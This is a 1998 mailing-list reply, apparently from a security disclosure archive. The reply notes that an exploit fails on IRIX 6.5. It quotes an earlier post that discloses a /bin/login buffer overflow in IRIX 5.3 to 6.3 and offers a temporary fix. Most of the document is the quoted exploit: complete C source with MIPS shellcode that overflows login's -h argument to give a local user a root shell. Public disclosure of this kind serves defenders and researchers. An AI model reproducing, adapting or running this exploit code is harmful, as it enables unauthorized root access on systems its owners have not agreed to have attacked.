Re: hey, guess what! another Irix buffer overflow!

From: Daniel Alex Finkelstein (dfinkelsat_private)
Date: Sat Sep 12 1998 - 13:34:29 PDT

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    The exploit does not work on an Onyx2 running IRIX 6.5.
    
    On Mon, 26 May 1997, David Hedley wrote:
    
    > Date: Mon, 26 May 1997 23:44:13 +0100
    > From: David Hedley <hedleyat_private>
    > To: BUGTRAQat_private
    > Subject: hey, guess what! another Irix buffer overflow!
    >
    > Yet another buffer overflow for you. This time in /bin/login.
    >
    > Impact: local users can get root access
    > Vulnerable to this exploit: Irix 5.3 Irix64 6.2 Irix 6.3
    > Tested on: R3000 Indigo (5.3), R4400 Indy (5.3), R5000 O2 (6.3), R8000
    >            PChallenge (Irix64 6.2)
    > Temporary fix: chmod u-s /bin/login
    >
    > Note this will break login, although it should still work when called
    > from telnetd, getty etc
    >
    > Compile the exploit with the '-n32' flag if compiling under 6.x
    >
    > When run, you will be prompted for a password. Just press enter at this
    > point and you will handed a root shell.
    >
    > Regards,
    >
    > David
    > --
    >  David Hedley (hedleyat_private)
    >  finger hedleyat_private for PGP key
    >  Computer Graphics Group | University of Bristol | UK
    >
    > --------------------- cut here --------------------------------
    >
    > /* /bin/login exploit by DCRH 24/5/97
    >  *
    >  * Tested on:   R3000 Indigo (Irix 5.3)
    >  *              R4400 Indy (Irix 5.3)
    >  *              R5000 O2 (Irix 6.3)
    >  *              R8000 Power Challenge (Irix 6.2)
    >  *
    >  * Compile as: cc -n32 login.c     (for Irix 6.x)
    >  *             cc login.c          (for Irix 5.x)
    >  *
    >  * Press enter when prompted for a password
    >  *
    >  */
    >
    > #include <stdio.h>
    > #include <stdlib.h>
    > #include <string.h>
    > #include <sys/types.h>
    > #include <unistd.h>
    >
    > #define BUF_LENGTH      200
    > #define EXTRA           300
    > #define OFFSET          0x1b0
    > #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */
    >
    > #define u_long unsigned
    >
    >
    > u_long get_sp_code[] = {
    >     0x03a01025,         /* move $v0,$sp         */
    >     0x03e00008,         /* jr $ra               */
    >     0x00000000,         /* nop                  */
    > };
    >
    > u_long irix_shellcode[] = {
    >     0x24041234,         /* li $4,0x1234         */
    >     0x2084edcc,         /* sub $4,0x1234        */
    >     0x0491fffe,         /* bgezal $4,pc-4       */
    >     0x03bd302a,         /* sgt $6,$sp,$sp       */
    >     0x23e4012c,         /* addi $4,$31,264+36   */
    >     0xa086feff,         /* sb $6,-264+7($4)     */
    >     0x2084fef8,         /* sub $4,264           */
    >     0x20850110,         /* addi $5,$4,264+8     */
    >     0xaca4fef8,         /* sw $4,-264($5)       */
    >     0xaca6fefc,         /* sw $4,-260($5)       */
    >     0x20a5fef8,         /* sub $5, 264          */
    >     0x240203f3,         /* li $v0,1011          */
    >     0x03ffffcc,         /* syscall 0xfffff      */
    >     0x2f62696e,         /* "/bin"               */
    >     0x2f7368ff,         /* "/sh"                */
    > };
    >
    > char buf[BUF_LENGTH + EXTRA + 8];
    >
    > void main(int argc, char **argv)
    > {
    >     char *env[] = {NULL};
    >     u_long targ_addr, stack;
    >     u_long *long_p;
    >     int i, code_length = strlen((char *)irix_shellcode)+1;
    >     u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
    >
    >     stack = get_sp();
    >
    >     long_p =(u_long *)  buf;
    >     targ_addr = stack + OFFSET;
    >
    >     if (argc > 1)
    >       targ_addr += atoi(argv[1]);
    >
    >     while ((targ_addr & 0xff000000) == 0 ||
    >            (targ_addr & 0x00ff0000) == 0 ||
    >            (targ_addr & 0x0000ff00) == 0 ||
    >            (targ_addr & 0x000000ff) == 0)
    >       targ_addr += 4;
    >
    >     for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    >         *long_p++ = IRIX_NOP;
    >
    >     for (i = 0; i < code_length/sizeof(u_long); i++)
    >         *long_p++ = irix_shellcode[i];
    >
    >     for (i = 0; i < EXTRA / sizeof(u_long); i++)
    >         *long_p++ = (targ_addr << 24) | (targ_addr >> 8);
    >
    >     *long_p = 0;
    >
    >     printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
    >
    >     execle("/bin/login", "login", "-h", &buf[1], 0, env);
    >     perror("execl failed");
    > }
    >
    
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